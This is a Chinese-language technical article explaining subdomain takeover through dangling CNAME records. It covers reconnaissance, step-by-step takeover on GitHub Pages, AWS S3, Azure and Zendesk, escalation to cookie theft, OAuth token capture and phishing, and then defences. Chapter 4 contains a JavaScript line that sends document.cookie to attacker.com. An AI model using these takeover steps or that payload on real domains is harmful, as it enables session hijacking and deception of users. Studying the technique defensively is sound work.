前言:DNS 的"幽灵地址"
在互联网的庞大基础设施中,DNS(域名系统)就像是指路牌。它将人类可读的域名(如 example.com)翻译成机器可读的 IP 地址。然而,当这个指路牌指向了一片荒芜的空地,而这块空地恰好被攻击者买下时,会发生什么?
这就是子域名接管。这不仅仅是一个简单的配置错误,它是现代 Web 架构演进中诞生的"幽灵"。随着云计算、SaaS(软件即服务)平台的普及,企业越来越倾向于将业务模块化:用 GitHub Pages 托管博客,用 Shopify 搭建商城,用 AWS S3 存储静态资源,用 Zendesk 搭建客服工单。
这种便利性带来了一个副作用:资源生命周期的不同步 。开发者创建了一个子域名 blog.target.com,并在 GitHub Pages 上配置了 CNAME 指向。半年后,项目黄了,开发者删除了 GitHub 仓库,却忘了删除 DNS 记录。此时,DNS 记录依然指向 GitHub,但 GitHub 上已经没有任何内容。
这个子域名成了一个"幽灵地址"。如果我,一个攻击者,在 GitHub 上重新注册这个名字,我就瞬间接管了这个子域名。这不是理论,这是每天都在发生的实战。本文将带你深入这背后的攻防逻辑,从发现到利用,再到防御。
第一章 根源:CNAME 链路的断裂
要理解子域名接管,首先要理解 DNS 记录类型。虽然 A 记录指向 IP 地址,但子域名接管的主角通常是 CNAME 记录。
1.1 CNAME 的代理陷阱
CNAME(Canonical Name)即别名记录。它把一个域名指向另一个域名。
例如:
blog.target.com -> CNAME -> target.github.io
浏览器解析流程如下:
- 用户访问
blog.target.com。 - DNS 解析返回
target.github.io。 - 浏览器再次解析
target.github.io,拿到 GitHub 的 IP。 - 浏览器请求 GitHub 服务器。
危机点 :
当目标企业不再使用 GitHub Pages 服务,删除了target.github.io这个仓库,但 DNS 管理员因为疏忽,没有删除blog.target.com的 CNAME 记录。
此时,DNS 依然会告诉浏览器:"去问target.github.io"。但 GitHub 服务器上,已经没有人认领这个名字了。
1.2 责任的模糊地带
这与 A 记录的接管不同。如果你看到一个 A 记录指向一个未注册的 IP 段,你很难利用它(除非你在那个 IP 段内,或者你能 BGP 劫持路由)。
但 CNAME 指向的是第三方 SaaS 平台。这意味着,谁能在那个 SaaS 平台上认领这个名字,谁就拥有了这个子域名 。
这本质上是一种"权限提升":攻击者在第三方平台上的权限(普通用户)提升到了目标子域名的权限(合法所有者)。
第二章 侦察:在黑暗中寻找"空房子"
攻击始于发现。我们需要在浩瀚的子域名海洋中,筛选出那些已经断裂的"幽灵"记录。
2.1 子域名枚举的艺术
首先,我们要拿到尽可能多的子域名列表。这一步虽然基础,但决定了上限。
- 字典爆破 :使用
Sublist3r、Gobuster或Amass,配合大字典,枚举常见子域名。 - 证书透明度日志(CT Log) :利用
crt.sh或Censys查询目标域名的 SSL 证书历史。很多隐藏的子域名会出现在证书的 SAN(Subject Alternative Name)字段中。 - 搜索引擎挖掘 :利用 Google Dorks,如
site:target.com,寻找被索引的子域名。
2.2 筛选:指纹识别与 CNAME 提取
拿到列表后,我们需要提取 CNAME 记录。这是关键的一步。
可以使用 dnscan、Altdns 或者写一个简单的 Python 脚本批量解析。
实战关注点 :
我们重点寻找那些指向特定 SaaS 平台的 CNAME:
*.github.io(GitHub Pages)*.herokuapp.com(Heroku)*.azurewebsites.net(Azure App Service)*.elasticbeanstalk.com(AWS Elastic Beanstalk)*.s3.amazonaws.com(AWS S3)*.shopify.com(Shopify)*.zendesk.com(Zendesk)*.myshopify.com- 以及各种 CDN 域名(如
c.custom.com)
2.3 验证:识别"未认领"状态
有了 CNAME 列表,如何判断它是否可接管?
最直观的方法是访问。
- GitHub Pages:访问子域名,如果显示"404 There isn't a GitHub Pages site here.",且响应头中不包含特定的防止接管的标识,通常意味着该名字未被占用。
- Heroku:显示"There's nothing here, yet."或类似的默认页面。
- AWS S3 :返回
NoSuchBucket错误。 - Azure :返回 404 页面,页面标题通常包含"404 Web Site not found"。
自动化工具 :
手工验证效率太低。推荐使用Subover、Can-I-Take-Over-XYZ或Nuclei的特定模板。
Nuclei在这方面非常强大,它内置了大量 SaaS 平台的指纹匹配规则。例如,它会检测响应内容中是否包含"NoSuchBucket"或"Domain is not configured"。
关键细节 :
很多时候,目标域名虽然指向了第三方服务,但可能因为配置错误(如 SSL 证书不匹配)导致浏览器报错。
不要被浏览器的警告吓跑。
作为攻击者,我们要用curl -k(忽略证书)去查看底层的响应内容。SSL 错误可能恰恰是因为你还没有配置证书,而底层的错误信息才是判断是否可接管的依据。
第三章 实战接管:主流平台攻防演练
发现只是开始,真正的利用在于"入驻"。不同的平台,接管的方式略有不同。
3.1 经典案例:GitHub Pages 接管
这是最常见、最优雅的接管场景。
- 确认状态 :访问
sub.target.com,看到 GitHub 的 404 页面。 - 注册与验证:在 GitHub 上创建一个仓库,名字随意。进入 Settings -> Pages。
- 关键一步 :在 Custom domain 输入框填入
sub.target.com。 - DNS 校验:GitHub 会检测 DNS 是否指向它。由于 CNAME 记录存在,校验通过。
- 接管成功 :等待 DNS 生效,再次访问
sub.target.com,你会发现它显示了你仓库里的index.html内容。
额外收益 :
一旦接管成功,你甚至可以为目标域名申请 Let's Encrypt 的 SSL 证书。GitHub 会自动帮你配置 HTTPS。这意味着,你拥有了一个受目标域名信任的、带绿锁的高可信站点。
3.2 云服务商:AWS S3 与 Azure
AWS S3 接管 :
如果 CNAME 指向 bucket-name.s3.amazonaws.com 且返回 NoSuchBucket:
- 登录你的 AWS 控制台。
- 创建一个名为
bucket-name的 S3 存储桶(名字必须完全匹配 CNAME 指向的那个)。 - 开启静态网站托管。
- 接管完成。
风险升级 :
如果是cloudfront.net或自定义的 CDN 域名指向 S3,情况更复杂。有时 S3 存在但 CloudFront 配置错误。攻击者可能需要创建一个新的 CloudFront Distribution 并关联到自己的 S3,但这通常受限于原 CNAME 是否被其他 Distribution 占用。
Azure App Service :
CNAME 指向target.azurewebsites.net。 - 在 Azure 上创建一个 App Service。
- 尝试绑定自定义域名
sub.target.com。 - Azure 会验证域名所有权。由于 CNAME 存在,它会认为你拥有该域名(通过 CNAME 验证)。
- 接管成功。
3.3 企业服务:Zendesk 与 Helpshift
很多企业的客服系统托管在第三方。
如果发现 support.target.com 指向 target.zendesk.com:
- 在 Zendesk 注册账号。
- 尝试修改账号设置,添加
target.zendesk.com作为你的子域名。 - 如果该名字未被占用,Zendesk 会允许你注册。这意味着你接管了该企业的客服入口。
- 更危险的是:部分配置下,接管客服子域名后,可能继承企业的邮件发送信誉,导致可以伪造客服邮件发送钓鱼链接。
第四章 升级利用:从"到此一游"到完全控制
很多漏洞报告止步于"我放置了一个页面,证明漏洞存在"。但在红队实战中,这仅仅是第一枪。子域名接管的真正威力在于它打破了浏览器的同源策略(SOP)信任链。
4.1 Cookie 窃取与 Session 劫持
这是最直接的危害。
浏览器在设置 Cookie 时,通常使用 .target.com 的通配符域名。
这意味着,用户在 www.target.com 登录后生成的 Session Cookie,会在访问 sub.target.com(被我们接管的子域名)时自动发送给我们的服务器。
攻击路径:
- 攻击者接管
test.target.com。 - 攻击者在
test.target.com放置恶意 JS:document.write('<img src="https://attacker.com/steal?c='+document.cookie+'">')。 - 攻击者诱导管理员或用户点击链接,或利用社工手段让用户访问
test.target.com。 - Cookie 外泄,攻击者直接登录
www.target.com后台。
注意 :现代网站常使用SameSite属性限制 Cookie 发送。
SameSite=Lax:大部分跨站 GET 请求不发送 Cookie,但用户直接点击链接访问test.target.com时,Cookie 还是会发送。SameSite=None:完全发送。
4.2 绕过 CSP(内容安全策略)
如果主站的 CSP 策略配置宽松,比如 script-src 'self' *.target.com,那么被接管的子域名就成为了 XSS 的"天堂"。攻击者上传的恶意脚本会被浏览器认为是"自己人",直接放行。
4.3 OAuth 流程劫持
现代 Web 应用广泛使用 OAuth 2.0 进行第三方登录(如微信登录、Google 登录)。
OAuth 的回调地址通常配置为 *.target.com。
如果攻击者控制了 oauth.target.com,并且该子域名被配置在白名单内:
- 攻击者构造恶意的 OAuth 授权链接。
- 用户点击授权。
- 第三方平台(如 Google)将用户的 Token 重定向到
oauth.target.com。 - 攻击者的服务器截获 Token。
- 攻击者利用 Token 登录用户账号。
这在大型企业的单点登录(SSO)系统中尤为致命。
4.4 钓鱼的终极形态:域名伪装
被接管的子域名拥有企业真实的 SSL 证书(通过 Let's Encrypt 自动签发),URL 栏显示绿锁,域名是企业的合法子域名。
pay.target.com(被接管) vs pay-target.com(钓鱼)。
前者对用户的迷惑性是毁灭性的。攻击者可以搭建一个高仿的支付页面,诱导用户转账,或者发送带有该链接的邮件,通过企业邮件网关的信誉检测(因为域名信誉是好的)。
第五章 防御体系:资产管理是第一道防线
子域名接管的核心问题是"资产失控"。防御的本质是管理。
5.1 源头控制:DNS 记录的闭环管理
建立变更同步机制 :
当业务下线、SaaS 服务停止使用、云资源销毁时,必须同步清理 DNS 记录。
这听起来简单,但在大型组织中极难执行。运维删除了 GitHub 仓库,可能根本不知道还有个 DNS 记录需要通知网络组删除。
防御策略 :
建立 DNS 记录的"所有者"制度。每条 CNAME 记录必须有明确的负责人和业务归属。定期审计"僵尸"记录。
5.2 监控与预警:守望者
使用 Canary(金丝雀)技术 :
在被废弃的域名解析前,部署监控。
使用自动化工具(如定期运行 Nuclei 或自定义脚本)检测企业域名下的 CNAME 记录,一旦发现指向的目标返回 404 或特定的"未注册"特征,立即告警。
云厂商的防接管机制 :
部分云厂商(如 GitHub Pages)现在会在用户首次配置自定义域名时,向 DNS 记录中添加一个 TXT 验证记录。如果不通过验证,即使 CNAME 指向正确,也无法接管。这是一个非常好的设计,建议开发者在开发 SaaS 平台时引入此机制。
5.3 补救措施:被接管后的止损
如果发现已经被接管,不要惊慌。
- 立即切断:在 DNS 服务商处,立即删除指向恶意源的 CNAME 记录,或者将其指向 127.0.0.1。
- 全面审计 :检查主站的 Cookie 设置,是否使用了通配符且未设置
SameSite。检查 CSP 策略是否被滥用。 - 日志溯源:查看被接管期间的访问日志,确认是否有敏感数据外泄,是否有管理员账号登录过该子域名。
结语:每一个被遗忘的域名,都是敞开的后门
子域名接管是一个典型的"生命周期管理"漏洞。它不涉及复杂的代码逻辑,不涉及内存溢出,它利用的是人类在流程上的疏忽。
在云时代,我们的资产分布在 AWS、Azure、GitHub、Zendesk... 边界变得极其模糊。攻击者不需要攻破你的防火墙,只需要找到你扔在角落里的一串钥匙------那个指向空无之地的 CNAME 记录。
作为防御者,我们要做的不仅是修补代码,更是建立严密的资产管理制度。记住,在互联网上,没有所谓的"废弃资产",只有暂时未被攻击者发现的"靶子"。